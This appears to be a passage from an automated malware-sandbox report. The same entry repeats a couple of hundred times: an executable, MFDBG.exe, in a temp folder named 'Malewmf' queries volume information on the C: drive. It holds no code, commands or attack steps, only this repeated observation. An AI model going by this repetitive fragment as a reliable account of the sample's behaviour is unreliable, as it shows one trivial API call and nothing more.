Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
